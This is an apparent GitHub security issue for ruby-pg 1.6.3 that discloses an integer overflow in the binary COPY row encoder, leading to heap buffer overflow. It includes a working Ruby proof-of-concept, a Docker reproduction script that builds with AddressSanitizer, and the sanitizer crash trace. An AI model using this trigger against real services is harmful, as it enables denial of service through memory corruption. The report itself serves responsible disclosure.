Skip to content

DFVULN-789: Integer Overflow in PG::BinaryEncoder::CopyRow Causes Heap Buffer Overflow #715

@larskanis

Description

@larskanis

Summary

PG::BinaryEncoder::CopyRow adds four length bytes to an attacker-sized field length using signed int arithmetic. A near-INT_MAX field wraps the capacity request, then the encoder copies the full field into an undersized output string.

Version

Software: ruby-pg
Version: 1.6.3
Commit: 59296b0

Details

The binary COPY encoder gets the encoded field length as an int, then reserves 4 + strlen bytes for the length prefix and field data.

strlen = RSTRING_LENINT(subint);

PG_RB_STR_ENSURE_CAPA( *intermediate, 4 + strlen, current_out, end_capa_ptr );
write_nbo32(strlen, current_out);
current_out += 4;

ext/pg_copy_coder.c:410

For a field length near INT_MAX, 4 + strlen wraps negative. The capacity check does not reserve enough memory, but the subsequent copy still uses the original large strlen.

memcpy( current_out, RSTRING_PTR(subint), strlen );
current_out += strlen;

ext/pg_copy_coder.c:417

The PoC is inline below:

require 'pg'
$stdout.sync = true
$stderr.sync = true
n = 2_147_483_644
wrapped = ((n + 4 + (1 << 31)) % (1 << 32)) - (1 << 31)
puts "payload_len=#{n}"
puts "wrapped_expand_len=#{wrapped}"
puts 'allocating_payload'
s = "A".b * n
puts "string_len=#{s.bytesize}"
puts 'calling_copyrow_encode'
PG::BinaryEncoder::CopyRow.new.encode([s])

Reproduce

Create poc.rb from the inline artifact below, then run this on a machine with Docker:

mkdir -p dfvuln-789 && cp poc.rb dfvuln-789/ && cd dfvuln-789
docker run --rm -v "$PWD":/work -w /tmp ruby:3.3-bookworm bash -lc '
set -eux
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y git build-essential pkg-config libpq-dev gcc llvm
git clone --depth 1 https://github.com/ged/ruby-pg.git src
cd src
git rev-parse HEAD | tee /work/commit.txt
ruby -v | tee /work/ruby-version.txt
bundle config set path vendor/bundle
bundle install
cd ext && ruby extconf.rb && make clean
CC_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CC]]")
CFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CFLAGS]]")
DLDFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[DLDFLAGS]]")
make -j"$(nproc)" CFLAGS="$CFLAGS_RB -O0 -g -fsanitize=address -fno-omit-frame-pointer" DLDFLAGS="$DLDFLAGS_RB -fsanitize=address" LDSHARED="$CC_RB -shared -fsanitize=address"
cd /tmp/src && cp ext/pg_ext.so lib/pg_ext.so
ASAN_LIB=$(gcc -print-file-name=libasan.so)
set +e
LD_PRELOAD="$ASAN_LIB" ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1:fast_unwind_on_malloc=0 RUBYLIB=/tmp/src/lib ruby /work/poc.rb > /work/asan.log 2>&1
status=$?
cat /work/asan.log
exit "$status"
'

The reproduced sanitizer stack is included inline below:

==3510==ERROR: AddressSanitizer: unknown-crash
WRITE of size 2147483644
    #0 0xffffb4a18f68 in __interceptor_memcpy
    #1 0xffffb0f73208 in pg_bin_enc_copy_row /tmp/src/ext/pg_copy_coder.c:417
    #2 0xffffb0f5d4b0 in pg_coder_encode /tmp/src/ext/pg_coder.c:202
Address 0x100002ff8f652 is a wild pointer inside of access range of size 0x00007ffffffc.
SUMMARY: AddressSanitizer: unknown-crash in __interceptor_memcpy

Inline reproduction artifact(s):

poc.rb

require 'pg'
$stdout.sync = true
$stderr.sync = true
n = 2_147_483_644
wrapped = ((n + 4 + (1 << 31)) % (1 << 32)) - (1 << 31)
puts "payload_len=#{n}"
puts "wrapped_expand_len=#{wrapped}"
puts 'allocating_payload'
s = "A".b * n
puts "string_len=#{s.bytesize}"
puts 'calling_copyrow_encode'
PG::BinaryEncoder::CopyRow.new.encode([s])
puts 'unexpected_success'

Security Impact

This is a heap memory corruption bug in binary COPY row encoding. It can crash the Ruby process when very large attacker-controlled COPY fields are encoded.

Credit

Zheng Yu from depthfirst (depthfirst.com)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions